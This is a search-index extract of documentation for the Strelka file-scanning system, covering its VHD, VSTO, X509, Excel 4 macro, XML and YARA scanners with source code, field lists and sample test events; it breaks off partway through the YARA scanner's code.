Source Filetype Include / Excludeapplication/x-vhd vhd_file vhdx_file"},{"location":"Scanners/ScanVhd.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str files list files.datetime str files.filename str files.size str flags list hidden_dirs list meta dict meta.7zip_version str meta.partitions list meta.partitions.created str meta.partitions.creator_application str meta.partitions.file_system str meta.partitions.label str meta.partitions.path str meta.partitions.type str total dict total.extracted int total.files int"},{"location":"Scanners/ScanVhd.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 3, \"extracted\": 3},\n \"files\": [\n {\n \"filename\": \"System Volume Information/WPSettings.dat\",\n \"size\": \"12\",\n \"datetime\": 0.001,\n },\n {\n \"filename\": \"lorem.txt\",\n \"size\": \"4015\",\n \"datetime\": 0.001,\n },\n {\n \"filename\": \"$RECYCLE.BIN/S-1-5-21-3712961497-200595429-3248382696-1000/desktop.ini\",\n \"size\": \"129\",\n \"datetime\": 0.001,\n },\n ],\n \"hidden_dirs\": [\n \"System Volume Information\",\n \"$RECYCLE.BIN\",\n \"$RECYCLE.BIN/S-1-5-21-3712961497-200595429-3248382696-1000\",\n ],\n \"meta\": {\n \"7zip_version\": \"23.01\",\n \"partitions\": [\n {\"path\": 0.001, \"type\": \"GPT\"},\n {\"path\": \"0.Basic data partition.ntfs\", \"file_system\": \"Windows BDP\"},\n {\n \"path\": \"0.Basic data partition.ntfs\",\n \"type\": \"NTFS\",\n \"label\": \"New Volume\",\n \"file_system\": \"NTFS 3.1\",\n \"created\": 0.001,\n },\n ],\n },\n }\nScanner class for extracting information from VSTO files.
This class provides a scan method that extracts information from VSTO files, and stores it in the event dictionary attribute of the class.
strelka/src/python/strelka/scanners/scan_vsto.py class ScanVsto(strelka.Scanner):\n \"\"\"\n Scanner class for extracting information from VSTO files.\n\n This class provides a `scan` method that extracts information from VSTO files, and stores it in the `event`\n dictionary attribute of the class.\n\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n \"\"\"\n Extracts information from the VSTO file.\n\n Args:\n data: The binary data of the VSTO file to be scanned.\n file: File associated with data.\n options: Any options passed in from the backend configuration file.\n expire_at: The expiry time for this scan.\n\n \"\"\"\n try:\n # As Vsto is in an XML format, parse the XML data\n xml = xmltodict.parse(data)\n\n # Extract the VSTO name\n if props := xml.get(\"Properties\"):\n for prop in props.get(\"property\", []):\n if prop[\"vt:lpwstr\"].endswith(\"vstolocal\"):\n self.event[\"vsto\"] = prop[\"vt:lpwstr\"].split(\"|\")[0]\n\n # Extract the assembly identity, dependencies, publisher, and certificate information\n if asm := xml.get(\"asmv1:assembly\"):\n if asm.get(\"assemblyIdentity\"):\n self.event[\"identity\"] = asm[\"assemblyIdentity\"][\"@name\"]\n self.event[\"dependency\"] = {\n \"manifest\": asm[\"dependency\"][\"dependentAssembly\"][\"@codebase\"],\n \"name\": asm[\"dependency\"][\"dependentAssembly\"][\n \"assemblyIdentity\"\n ][\"@name\"],\n }\n self.event[\"publisher\"] = asm[\"publisherIdentity\"][\"@name\"]\n self.event[\"certificate\"] = {\n \"b64\": asm[\"Signature\"][\"KeyInfo\"][\"msrel:RelData\"][\n \"r:license\"\n ][\"r:issuer\"][\"Signature\"][\"KeyInfo\"][\"X509Data\"][\n \"X509Certificate\"\n ],\n \"md5\": hashlib.md5(\n base64.b64decode(\n asm[\"Signature\"][\"KeyInfo\"][\"msrel:RelData\"][\n \"r:license\"\n ][\"r:issuer\"][\"Signature\"][\"KeyInfo\"][\"X509Data\"][\n \"X509Certificate\"\n ]\n )\n ).hexdigest(),\n }\n\n except Exception as e:\n print(e)\n self.flags.append(f\"{self.__class__.__name__} Exception: {str(e)[:100]}\")\nscan(data, file, options, expire_at)","text":"Extracts information from the VSTO file.
Parameters:
Name Type Description Defaultdata The binary data of the VSTO file to be scanned.
requiredfile File associated with data.
requiredoptions Any options passed in from the backend configuration file.
requiredexpire_at The expiry time for this scan.
required Source code instrelka/src/python/strelka/scanners/scan_vsto.py def scan(self, data, file, options, expire_at):\n \"\"\"\n Extracts information from the VSTO file.\n\n Args:\n data: The binary data of the VSTO file to be scanned.\n file: File associated with data.\n options: Any options passed in from the backend configuration file.\n expire_at: The expiry time for this scan.\n\n \"\"\"\n try:\n # As Vsto is in an XML format, parse the XML data\n xml = xmltodict.parse(data)\n\n # Extract the VSTO name\n if props := xml.get(\"Properties\"):\n for prop in props.get(\"property\", []):\n if prop[\"vt:lpwstr\"].endswith(\"vstolocal\"):\n self.event[\"vsto\"] = prop[\"vt:lpwstr\"].split(\"|\")[0]\n\n # Extract the assembly identity, dependencies, publisher, and certificate information\n if asm := xml.get(\"asmv1:assembly\"):\n if asm.get(\"assemblyIdentity\"):\n self.event[\"identity\"] = asm[\"assemblyIdentity\"][\"@name\"]\n self.event[\"dependency\"] = {\n \"manifest\": asm[\"dependency\"][\"dependentAssembly\"][\"@codebase\"],\n \"name\": asm[\"dependency\"][\"dependentAssembly\"][\n \"assemblyIdentity\"\n ][\"@name\"],\n }\n self.event[\"publisher\"] = asm[\"publisherIdentity\"][\"@name\"]\n self.event[\"certificate\"] = {\n \"b64\": asm[\"Signature\"][\"KeyInfo\"][\"msrel:RelData\"][\n \"r:license\"\n ][\"r:issuer\"][\"Signature\"][\"KeyInfo\"][\"X509Data\"][\n \"X509Certificate\"\n ],\n \"md5\": hashlib.md5(\n base64.b64decode(\n asm[\"Signature\"][\"KeyInfo\"][\"msrel:RelData\"][\n \"r:license\"\n ][\"r:issuer\"][\"Signature\"][\"KeyInfo\"][\"X509Data\"][\n \"X509Certificate\"\n ]\n )\n ).hexdigest(),\n }\n\n except Exception as e:\n print(e)\n self.flags.append(f\"{self.__class__.__name__} Exception: {str(e)[:100]}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanVsto.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludevsto_file"},{"location":"Scanners/ScanVsto.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecertificate dict certificate.b64 str certificate.md5 str dependency dict dependency.manifest str dependency.name str elapsed str flags list identity str publisher str"},{"location":"Scanners/ScanVsto.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"dependency\": {\n \"manifest\": \"TestInstaller.dll.manifest\",\n \"name\": \"TestIdentityName.dll\",\n },\n \"publisher\": \"CN=TEST\\\\test\",\n \"certificate\": {\n \"b64\": \"TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdCwgc2VkIGRvIGVpdXNtb2QgdGVtcG9yIGluY2lkaWR1bnQgdXQgbGFib3JlIGV0IGRvbG9yZSBtYWduYSBhbGlxdWEuIFV0IGVuaW0gYWQgbWluaW0gdmVuaWFtLCBxdWlzIG5vc3RydWQgZXhlcmNpdGF0aW9uIHVsbGFtY28gbGFib3JpcyBuaXNpIHV0IGFsaXF1aXAgZXggZWEgY29tbW9kbyBjb25zZXF1YXQuIER1aXMgYXV0ZSBpcnVyZSBkb2xvciBpbiByZXByZWhlbmRlcml0IGluIHZvbHVwdGF0ZSB2ZWxpdCBlc3NlIGNpbGx1bSBkb2xvcmUgZXUgZnVnaWF0IG51bGxhIHBhcmlhdHVyLiBFeGNlcHRldXIgc2ludCBvY2NhZWNhdCBjdXBpZGF0YXQgbm9uIHByb2lkZW50LCBzdW50IGluIGN1bHBhIHF1aSBvZmZpY2lhIGRlc2VydW50IG1vbGxpdCBhbmltIGlkIGVzdCBsYWJvcnVtLg==\",\n \"md5\": \"db89bb5ceab87f9c0fcc2ab36c189c2c\",\n },\n \"identity\": \"TestName.vsto\",\n \"flags\": [],\n }\nCollects metadata from x509 and CRL files.
x509 extensions require cleanup and may be improperly formatted.
Optionstype: String that determines the type of x509 certificate being scanned. Must be either 'der' or 'pem'. Defaults to empty string.
Source code instrelka/src/python/strelka/scanners/scan_x509.py class ScanX509(strelka.Scanner):\n \"\"\"Collects metadata from x509 and CRL files.\n\n x509 extensions require cleanup and may be improperly formatted.\n\n Options:\n type: String that determines the type of x509 certificate being\n scanned. Must be either 'der' or 'pem'.\n Defaults to empty string.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n file_type = options.get(\"type\", \"\")\n\n if file_type == \"der\":\n cert = X509.load_cert_der_string(data)\n else:\n cert = X509.load_cert_string(data)\n\n self.event[\"issuer\"] = cert.get_issuer().as_text()\n self.event[\"subject\"] = cert.get_subject().as_text()\n self.event[\"serial_number\"] = str(cert.get_serial_number())\n self.event[\"fingerprint\"] = cert.get_fingerprint()\n self.event[\"version\"] = cert.get_version()\n self.event[\"not_after\"] = int(\n cert.get_not_after().get_datetime().strftime(\"%s\")\n )\n self.event[\"not_before\"] = int(\n cert.get_not_before().get_datetime().strftime(\"%s\")\n )\n if self.event[\"not_after\"] < time.time():\n self.event[\"expired\"] = True\n else:\n self.event[\"expired\"] = False\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanX509.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludex509_der_file x509_pem_file"},{"location":"Scanners/ScanX509.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str expired str fingerprint str flags list issuer str not_after str not_before str serial_number str subject str version int"},{"location":"Scanners/ScanX509.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"issuer\": \"C=US, ST=MN, L=Minneapolis, O=Target, CN=target.example.com\",\n \"subject\": \"C=US, ST=MN, L=Minneapolis, O=Target, CN=target.example.com\",\n \"serial_number\": \"46332118164471944499838906445041402559045013295\",\n \"fingerprint\": \"E8EC60C506A5383F5E0FC69FA7C9F460\",\n \"version\": 0,\n \"not_after\": 0.001,\n \"not_before\": 0.001,\n \"expired\": 0.001,\n }\nStrelka scanner for extracting Excel 4 cell contents and IOCs.
This scanner uses the xl4ma analyzer to extract data from Excel files. It attempts to decode Excel 4 cell contents and extract any potential IOCs. Extracted data is added to the scanner's event, and IOCs are processed using the scanner's IOC processing capabilities.
Attributes inherited from strelka.Scanner: - name (str): Name of the scanner class. - key (str): Metadata key used to identify scanner metadata in scan results. - event (dict): Dictionary containing the result of the scan. - flags (list): List of flags raised during scanning. - iocs (list): List of IOCs extracted during scanning.
Source code instrelka/src/python/strelka/scanners/scan_xl4ma.py class ScanXl4ma(strelka.Scanner):\n \"\"\"\n Strelka scanner for extracting Excel 4 cell contents and IOCs.\n\n This scanner uses the xl4ma analyzer to extract data from Excel files.\n It attempts to decode Excel 4 cell contents and extract any potential IOCs.\n Extracted data is added to the scanner's event, and IOCs are processed\n using the scanner's IOC processing capabilities.\n\n Attributes inherited from strelka.Scanner:\n - name (str): Name of the scanner class.\n - key (str): Metadata key used to identify scanner metadata in scan results.\n - event (dict): Dictionary containing the result of the scan.\n - flags (list): List of flags raised during scanning.\n - iocs (list): List of IOCs extracted during scanning.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n \"\"\"\n Overrideable scan method from strelka.Scanner.\n\n Processes the provided data using the xl4ma analyzer and extracts\n relevant information and IOCs.\n\n Args:\n data (bytes): Data associated with the file to be scanned.\n file (strelka.File): File object associated with the data.\n options (dict): Options to be applied during the scan.\n expire_at (int): Expiration timestamp for extracted files.\n \"\"\"\n # Attempt to process Excel data using the xl4ma analyzer\n try:\n # Process Excel data and store the results\n results = analyzer.process_data(data=data, filename=file.name)\n\n # Check if decoding and IOCs are present in the results\n if \"decoded\" in results:\n self.event[\"decoded\"] = results[\"decoded\"]\n if \"iocs\" in results:\n self.event[\"iocs\"] = results[\"iocs\"]\n self.add_iocs(results[\"iocs\"])\n except strelka.ScannerTimeout:\n # Propagate the timeout exception\n raise\n except Exception as e:\n # Append exception message to flags for diagnostic purposes\n self.flags.append(f\"xl4ma_processing_exception: {str(e)}\")\nscan(data, file, options, expire_at)","text":"Overrideable scan method from strelka.Scanner.
Processes the provided data using the xl4ma analyzer and extracts relevant information and IOCs.
Parameters:
Name Type Description Defaultdata bytes Data associated with the file to be scanned.
requiredfile File File object associated with the data.
requiredoptions dict Options to be applied during the scan.
requiredexpire_at int Expiration timestamp for extracted files.
required Source code instrelka/src/python/strelka/scanners/scan_xl4ma.py def scan(self, data, file, options, expire_at):\n \"\"\"\n Overrideable scan method from strelka.Scanner.\n\n Processes the provided data using the xl4ma analyzer and extracts\n relevant information and IOCs.\n\n Args:\n data (bytes): Data associated with the file to be scanned.\n file (strelka.File): File object associated with the data.\n options (dict): Options to be applied during the scan.\n expire_at (int): Expiration timestamp for extracted files.\n \"\"\"\n # Attempt to process Excel data using the xl4ma analyzer\n try:\n # Process Excel data and store the results\n results = analyzer.process_data(data=data, filename=file.name)\n\n # Check if decoding and IOCs are present in the results\n if \"decoded\" in results:\n self.event[\"decoded\"] = results[\"decoded\"]\n if \"iocs\" in results:\n self.event[\"iocs\"] = results[\"iocs\"]\n self.add_iocs(results[\"iocs\"])\n except strelka.ScannerTimeout:\n # Propagate the timeout exception\n raise\n except Exception as e:\n # Append exception message to flags for diagnostic purposes\n self.flags.append(f\"xl4ma_processing_exception: {str(e)}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanXl4ma.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeexcel4_file"},{"location":"Scanners/ScanXl4ma.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typedecoded str elapsed str flags list iocs list iocs.ioc str iocs.ioc_type str iocs.scanner str"},{"location":"Scanners/ScanXl4ma.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"decoded\": unordered(\n [\n \"3\",\n \"user\",\n \"clean.xls\",\n \"None\",\n \"https://www.example.com/path/to/resource\",\n ]\n ),\n \"iocs\": [\n {\"ioc\": \"www.example.com\", \"ioc_type\": \"domain\", \"scanner\": \"ScanXl4ma\"},\n {\n \"ioc\": \"https://www.example.com/path/to/resource\",\n \"ioc_type\": \"url\",\n \"scanner\": \"ScanXl4ma\",\n },\n ],\n }\nCollects metadata and extracts embedded files from XML files. This scanner parses XML files to collect metadata and extract embedded files based on specified tags. It is used in forensic and malware analysis to extract and analyze structured data within XML documents. Scanner Type: Collection Attributes: None Options: extract_tags (list[str]): Tags whose content is extracted as child files. metadata_tags (list[str]): Tags whose content is logged as metadata.
"},{"location":"Scanners/ScanXml.html#strelka.src.python.strelka.scanners.scan_xml.ScanXml--detection-use-cases","title":"Detection Use Cases","text":"Detection Use Cases
Known Limitations
backend.ymlTo Do
References
Contributors
strelka/src/python/strelka/scanners/scan_xml.py class ScanXml(strelka.Scanner):\n \"\"\"\n Collects metadata and extracts embedded files from XML files.\n This scanner parses XML files to collect metadata and extract embedded files based on specified tags.\n It is used in forensic and malware analysis to extract and analyze structured data within XML documents.\n Scanner Type: Collection\n Attributes:\n None\n Options:\n extract_tags (list[str]): Tags whose content is extracted as child files.\n metadata_tags (list[str]): Tags whose content is logged as metadata.\n ## Detection Use Cases\n !!! info \"Detection Use Cases\"\n - **Embedded File Extraction**\n - Extracts files embedded within specific XML tags.\n - **Metadata Extraction**:\n - Collects metadata from specific XML tags.\n ## Known Limitations\n !!! warning \"Known Limitations\"\n - Complex or malformed XML structures might lead to incomplete parsing or errors.\n - Excessive files may be scanned / collected if XML mimetypes are set in the `backend.yml`\n ## To Do\n !!! question \"To Do\"\n - Improve error handling for malformed XML structures.\n - Better extraction of tags / metadata tags\n ## References\n !!! quote \"References\"\n - XML File Format Specification (https://www.w3.org/XML/)\n ## Contributors\n !!! example \"Contributors\"\n - [Josh Liburdi](https://github.com/jshlbrd)\n - [Paul Hutelmyer](https://github.com/phutelmyer)\n \"\"\"\n\n def scan(\n self, data: bytes, file: strelka.File, options: dict, expire_at: int\n ) -> None:\n \"\"\"\n Parses XML data to extract metadata and files.\n Args:\n data: XML data as bytes.\n file: File object containing metadata about the scan.\n options: Dictionary of scanner options.\n expire_at: Time when the scan should be considered expired.\n Scans the XML file, extracting data and metadata based on the specified tags,\n and emits files as necessary.\n \"\"\"\n # Prepare options with case-insensitive tag matching\n xml_options = {\n \"extract_tags\": [tag.lower() for tag in options.get(\"extract_tags\", [])],\n \"metadata_tags\": [tag.lower() for tag in options.get(\"metadata_tags\", [])],\n }\n\n # Initialize scan event data\n self.event.setdefault(\"tags\", set())\n self.event.setdefault(\"tag_data\", [])\n self.event.setdefault(\"namespaces\", set())\n self.event[\"total\"] = {\"tags\": 0, \"extracted\": 0}\n self.emitted_files: Set[str] = (\n set()\n ) # Tracks emitted files to prevent duplicates\n\n # Parse the XML content\n try:\n xml_buffer = data\n if xml_buffer.startswith(b\"<?XML\"):\n xml_buffer = b\"<?xml\" + xml_buffer[5:]\n xml = etree.fromstring(xml_buffer)\n docinfo = xml.getroottree().docinfo\n self.event[\"doc_type\"] = docinfo.doctype if docinfo.doctype else \"\"\n self.event[\"version\"] = docinfo.xml_version if docinfo.xml_version else \"\"\n\n # Recursively process each node in the XML\n self._recurse_node(xml, xml_options)\n\n except etree.XMLSyntaxError as e:\n self.flags.append(f\"syntax_error: {str(e)}\")\n\n # Finalize the event data for reporting\n self.event[\"tags\"] = list(self.event[\"tags\"])\n self.event[\"tag_data\"] = list(self.event[\"tag_data\"])\n self.event[\"total\"][\"tags\"] = len(self.event[\"tags\"])\n self.event[\"namespaces\"] = list(self.event[\"namespaces\"])\n self.event[\"emitted_content\"] = list(self.emitted_files)\n\n # Extract and add Indicators of Compromise (IOCs)\n self.add_iocs(extract_iocs_from_string(data.decode(\"utf-8\")))\n\n def _recurse_node(self, node: etree._Element, xml_options: Dict[str, Any]) -> None:\n \"\"\"\n Recursively processes each XML node to extract data and metadata.\n Args:\n node: The current XML node to process.\n xml_options: Options for data extraction and metadata logging.\n Iterates through XML nodes, extracting data and collecting metadata as specified\n by the scanner options.\n \"\"\"\n if node is not None and hasattr(node.tag, \"__getitem__\"):\n namespace, _, tag = node.tag.partition(\"}\")\n namespace = namespace[1:] if namespace.startswith(\"{\") else \"\"\n tag = tag.lower()\n\n if tag:\n self.event[\"tags\"].add(tag)\n if namespace:\n self.event[\"namespaces\"].add(namespace)\n\n # Handle specific content extraction and emission\n if tag in xml_options[\"extract_tags\"]:\n content = node.text.strip() if node.text else \"\"\n if content:\n self.emit_file(content, name=tag)\n self.emitted_files.add(content)\n self.event[\"total\"][\"extracted\"] += 1\n\n # Always process attributes to capture any relevant metadata or data for emission\n self._process_attributes(node, xml_options, tag)\n\n # Continue to recurse through child nodes to extract data\n for child in node.getchildren():\n self._recurse_node(child, xml_options)\n\n def _process_attributes(\n self, node: etree._Element, xml_options: Dict[str, Any], tag: str\n ) -> None:\n \"\"\"\n Processes XML node attributes to extract or log data.\n Args:\n node: XML node whose attributes are being processed.\n xml_options: Configuration options for the scan.\n tag: The tag of the current XML node being processed.\n Extracts data from attributes specified in the extract_tags list and logs data\n from attributes specified in the metadata_tags list.\n \"\"\"\n for attr_name, attr_value in node.attrib.items():\n attr_name_lower = attr_name.lower()\n if attr_name_lower in xml_options[\"metadata_tags\"]:\n self.event[\"tag_data\"].append(\n {\"tag\": attr_name, \"content\": str(node.attrib)}\n )\nscan(data, file, options, expire_at)","text":"Parses XML data to extract metadata and files. Args: data: XML data as bytes. file: File object containing metadata about the scan. options: Dictionary of scanner options. expire_at: Time when the scan should be considered expired. Scans the XML file, extracting data and metadata based on the specified tags, and emits files as necessary.
Source code instrelka/src/python/strelka/scanners/scan_xml.py def scan(\n self, data: bytes, file: strelka.File, options: dict, expire_at: int\n) -> None:\n \"\"\"\n Parses XML data to extract metadata and files.\n Args:\n data: XML data as bytes.\n file: File object containing metadata about the scan.\n options: Dictionary of scanner options.\n expire_at: Time when the scan should be considered expired.\n Scans the XML file, extracting data and metadata based on the specified tags,\n and emits files as necessary.\n \"\"\"\n # Prepare options with case-insensitive tag matching\n xml_options = {\n \"extract_tags\": [tag.lower() for tag in options.get(\"extract_tags\", [])],\n \"metadata_tags\": [tag.lower() for tag in options.get(\"metadata_tags\", [])],\n }\n\n # Initialize scan event data\n self.event.setdefault(\"tags\", set())\n self.event.setdefault(\"tag_data\", [])\n self.event.setdefault(\"namespaces\", set())\n self.event[\"total\"] = {\"tags\": 0, \"extracted\": 0}\n self.emitted_files: Set[str] = (\n set()\n ) # Tracks emitted files to prevent duplicates\n\n # Parse the XML content\n try:\n xml_buffer = data\n if xml_buffer.startswith(b\"<?XML\"):\n xml_buffer = b\"<?xml\" + xml_buffer[5:]\n xml = etree.fromstring(xml_buffer)\n docinfo = xml.getroottree().docinfo\n self.event[\"doc_type\"] = docinfo.doctype if docinfo.doctype else \"\"\n self.event[\"version\"] = docinfo.xml_version if docinfo.xml_version else \"\"\n\n # Recursively process each node in the XML\n self._recurse_node(xml, xml_options)\n\n except etree.XMLSyntaxError as e:\n self.flags.append(f\"syntax_error: {str(e)}\")\n\n # Finalize the event data for reporting\n self.event[\"tags\"] = list(self.event[\"tags\"])\n self.event[\"tag_data\"] = list(self.event[\"tag_data\"])\n self.event[\"total\"][\"tags\"] = len(self.event[\"tags\"])\n self.event[\"namespaces\"] = list(self.event[\"namespaces\"])\n self.event[\"emitted_content\"] = list(self.emitted_files)\n\n # Extract and add Indicators of Compromise (IOCs)\n self.add_iocs(extract_iocs_from_string(data.decode(\"utf-8\")))\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanXml.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/xml mso_file soap_file text/xml xml_file"},{"location":"Scanners/ScanXml.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typedoc_type str elapsed str emitted_content list emitted_content str flags list iocs str namespaces str tag_data str tags str total dict total.extracted int total.tags int version str"},{"location":"Scanners/ScanXml.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"tags\": unordered([\"book\", \"author\", \"price\", \"year\", \"title\"]),\n \"tag_data\": unordered(\n [\n {\"tag\": \"category\", \"content\": \"{'category': 'science'}\"},\n {\"tag\": \"category\", \"content\": \"{'category': 'science'}\"},\n ]\n ),\n \"namespaces\": unordered([\"http://example.com/books\"]),\n \"total\": {\"tags\": 5, \"extracted\": 0},\n \"doc_type\": '<!DOCTYPE bookstore SYSTEM \"bookstore.dtd\">',\n \"version\": \"1.0\",\n \"emitted_content\": [],\n \"iocs\": unordered(\n [\n {\"ioc\": \"example.com\", \"ioc_type\": \"domain\", \"scanner\": \"ScanXml\"},\n {\"ioc\": \"www.w3.org\", \"ioc_type\": \"domain\", \"scanner\": \"ScanXml\"},\n ]\n ),\n }\nScans files with YARA.
Attributes:
Name Type Descriptioncompiled_yara Compiled YARA file derived from YARA rule file(s) in location.
Optionslocation: Location of the YARA rules file or directory. Defaults to '/etc/strelka/yara/'. meta: List of YARA rule meta identifiers (e.g. 'Author') that should be logged. Defaults to empty list. store_offset: To extract hexacimal offsts. If true, YARA metadata will be examined for keys. If found, extract out hexadecimal reference lines offset_meta_key: To extract hexadecimal offsets. A string found in a YARA's meta (e.g., 'StrelkaHexDump = true') offset_padding: Padding length before and after offset match for context
Source code instrelka/src/python/strelka/scanners/scan_yara.py class ScanYara(strelka.Scanner):\n \"\"\"Scans files with YARA.\n\n Attributes:\n compiled_yara: Compiled YARA file derived from YARA rule file(s)\n in location.\n\n Options:\n location: Location of the YARA rules file or directory.\n Defaults to '/etc/strelka/yara/'.\n meta: List of YARA rule meta identifiers\n (e.g. 'Author') that should be logged.\n Defaults to empty list.\n store_offset: To extract hexacimal offsts.\n If true, YARA metadata will be examined for\n keys. If found, extract out hexadecimal\n reference lines\n offset_meta_key: To extract hexadecimal offsets.\n A string found in a YARA's meta\n (e.g., 'StrelkaHexDump = true')\n offset_padding: Padding length before and after\n offset match for context\n \"\"\"\n\n def init(self):\n \"\"\"Initializes the ScanYara class.\n\n Sets up the initial state for the scanner by ensuring that\n the compiled YARA rules are not set.\n \"\"\"\n self.compiled_yara = None\n self.loaded_configs = False\n self.rules_loaded = 0\n\n self.warn_user = False\n self.warned_user = False\n self.warn_message = \"\"\n\n def scan(self, data, file, options, expire_at):\n \"\"\"Scans the provided data with YARA rules.\n\n Args:\n data (bytes): The data to scan.\n file (File): An object representing the file being scanned.\n options (dict): Configuration options for the scan.\n expire_at (int): Expiration time for the scan.\n\n Populates self.event with matches, tags, meta, and hex data\n based on YARA rule matches.\n \"\"\"\n # Load YARA rules if not already loaded.\n # This prevents loading YARA rules on every execution.\n if not self.compiled_yara:\n self.load_yara_rules(options)\n if not self.compiled_yara:\n self.flags.append(\"no_rules_loaded\")\n\n # Set the total rules loaded\n self.event[\"rules_loaded\"] = self.rules_loaded\n\n # Load YARA configuration options only once.\n # This prevents loading the configs on every execution.\n if not self.loaded_configs:\n self.categories = options.get(\"categories\", {})\n self.category_key = options.get(\"category_key\", \"\")\n self.meta_fields = options.get(\"meta_fields\", [])\n self.show_all_meta = options.get(\"show_all_meta\", False)\n self.store_offset = options.get(\"store_offset\", False)\n self.offset_meta_key = options.get(\"offset_meta_key\", \"\")\n self.offset_padding = options.get(\"offset_padding\", 32)\n self.loaded_configs = True\n\n # Initialize the event data structure.\n self.hex_dump_cache = {}\n self.event[\"matches\"] = []\n self.event[\"tags\"] = []\n self.event[\"meta\"] = []\n self.event[\"hex\"] = []\n\n # Match the data against the YARA rules.\n if self.compiled_yara:\n yara_matches = self.compiled_yara.match(data=data)\n for match in yara_matches:\n # add the rule and ruleset name to the category meta\n rule = {\n \"name\": match.rule,\n \"ruleset\": match.namespace,\n }\n # include meta if its in the meta_fields list\n for k, v in match.meta.items():\n if k.lower() in self.meta_fields:\n rule.update({k.lower(): v})\n for category, params in self.categories.items():\n if not self.event.get(category):\n self.event[category] = []\n # check if the category matches the category_key\n if category in match.meta.get(self.category_key, \"\").lower():\n # show meta for specific category if enabled\n if params.get(\"show_meta\", False):\n self.event[category].append(rule)\n else:\n self.event[category].append(match.rule)\n # show meta for specific tag if present\n # if category in list(map(str.lower, match.tags)):\n # self.event[category].append(rule)\n\n # Append rule matches and update tags.\n self.event[\"matches\"].append(match.rule)\n 